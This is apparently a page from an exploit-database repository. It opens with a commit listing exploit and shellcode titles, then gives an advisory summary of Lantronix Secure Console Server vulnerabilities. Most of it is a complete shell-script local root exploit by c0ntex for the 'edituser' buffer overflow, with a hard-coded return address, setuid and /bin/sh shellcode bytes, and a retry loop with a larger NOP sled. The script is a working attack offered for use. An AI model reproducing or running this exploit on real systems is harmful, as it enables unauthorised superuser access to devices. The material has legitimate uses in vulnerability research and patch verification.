880bbe402e
14991 changes to exploits/shellcodes HTC Touch - vCard over IP Denial of Service TeamSpeak 3.0.0-beta25 - Multiple Vulnerabilities PeerBlock 1.1 - Blue Screen of Death WS10 Data Server - SCADA Overflow (PoC) Symantec Endpoint Protection 12.1.4013 - Service Disabling Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow man-db 2.4.1 - 'open_cat_stream()' Local uid=man CDRecord's ReadCD - '$RSH exec()' SUID Shell Creation CDRecord's ReadCD - Local Privilege Escalation Anyburn 4.3 x86 - 'Copy disc to image file' Buffer Overflow (Unicode) (SEH) FreeBSD - Intel SYSRET Privilege Escalation (Metasploit) CCProxy 6.2 - 'ping' Remote Buffer Overflow Savant Web Server 3.1 - Remote Buffer Overflow (2) Litespeed Web Server 4.0.17 with PHP (FreeBSD) - Remote Overflow Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow QNAP TS-431 QTS < 4.2.2 - Remote Command Execution (Metasploit) Imperva SecureSphere 13.x - 'PWS' Command Injection (Metasploit) Drupal < 8.5.11 / < 8.6.10 - RESTful Web Services unserialize() Remote Command Execution (Metasploit) Oracle Weblogic Server - Deserialization Remote Command Execution (Patch Bypass) TeamCity < 9.0.2 - Disabled Registration Bypass OpenSSH SCP Client - Write Arbitrary Files Kados R10 GreenBee - Multiple SQL Injection WordPress Core 5.0 - Remote Code Execution phpBB 3.2.3 - Remote Code Execution Linux/x86 - Create File With Permission 7775 + exit() Shellcode (Generator) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes)
65 lines
No EOL
3.1 KiB
Bash
Executable file
65 lines
No EOL
3.1 KiB
Bash
Executable file
source: https://www.securityfocus.com/bid/14486/info
|
|
|
|
Lantronix Secure Console Server SCS820/SCS1620 devices are susceptible to multiple local vulnerabilities.
|
|
|
|
The first issue is an insecure default permission vulnerability. Attackers may exploit this vulnerability to write data to arbitrary files with superuser privileges. Other attacks are also possible.
|
|
|
|
The second issue is a directory traversal vulnerability in the command-line interface. Attackers may exploit this vulnerability to gain inappropriate access to the underlying operating system.
|
|
|
|
The third issue is a privilege escalation vulnerability in the command-line interface. Local users with 'sysadmin' access to the device can escape the command-line interface to gain superuser privileges in the underlying operating system.
|
|
|
|
The last issue is a buffer overflow vulnerability in the 'edituser' binary. Attackers may exploit this vulnerability to execute arbitrary machine code with superuser privileges.
|
|
|
|
The reporter of these issues states that firmware versions prior to 4.4 are vulnerable.
|
|
|
|
#!/bin/sh
|
|
# Lantronix Secure Console Server edituser root exploit by
|
|
# c0ntex - c0ntexb@gmail.com | c0ntex@open-security.org
|
|
# Advisory @ http://www.open-security.org/advisories/11
|
|
#
|
|
# The Linux system supplied by Lantronix does not have gnu
|
|
# C compiler, so the exploit is provided as a shell script
|
|
# as such, you might need to change the address for
|
|
#
|
|
#[c0ntex@SCS1620 ~/exploit]$ sh edituserxp.sh
|
|
#
|
|
# **** *** *** *** *** *** *** *** ***
|
|
#[-] Local root exploit for edituser using return-to-libc
|
|
#[-] discovered and written by c0ntex | c0ntexb@gmail.com
|
|
#Expect a root shell :-) -> escape sequence is too long.
|
|
#bash# id -a
|
|
#uid=0(root) gid=0(root) groups=100(users),0(root),200(admin)
|
|
#bash#
|
|
#
|
|
BUFFPAD="OPEN-SECURITY.ORG**OPEN-SECURITY.ORG**OPEN-SECURITY.ORG!"
|
|
NOPSLED=`perl -e 'print "\x41" x 1000'`
|
|
RETADDR=`printf "\x74\xc2\xfe\xbf"`
|
|
SETUID=`printf "\x31\xc0\x31\xdb\x31\xc9\xb0\x17\xcd\x80"`
|
|
SHELL=`printf "\x31\xd2\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80"`
|
|
STACKPAD=`perl -e 'print "A" x 65000'`
|
|
VULNAP=/usr/local/bin/edituser
|
|
VULNOP="-e"
|
|
|
|
export BUFFPAD NOPSLED RETADDR SETUID SHELL STACKPAD VULNAP VULNOP
|
|
|
|
printf "\n **** *** *** *** *** *** *** *** ***\n"
|
|
printf "[-] Local root exploit for edituser\n"
|
|
printf "[-] discovered and written by c0ntex\n"
|
|
|
|
if [ -f $VULNAPP ] ; then
|
|
printf "Expect a root shell :-) -> "; sleep 1
|
|
$VULNAP $VULNOP $BUFFPAD$RETADDR$NOPSLED$SETUID$SHELL
|
|
success=$?
|
|
if [ $success -gt 0 ] ; then
|
|
printf "\nSeems something messed up, changing NOPBUF to 10000 and trying again!\n"
|
|
sleep 2
|
|
unset NOPSLED
|
|
NOPSLED=`perl -e 'print "\x41" x 10000'`
|
|
printf "Expect a root shell :-) -> "
|
|
$VULNAP $VULNOP $BUFFPAD$RETADDR$NOPSLED$SETUID$SHELL
|
|
success=$?
|
|
if [ $success -gt 0 ] ; then
|
|
printf "\nAgain it failed, sorry you are on your own now :(\n"
|
|
fi
|
|
fi
|
|
fi |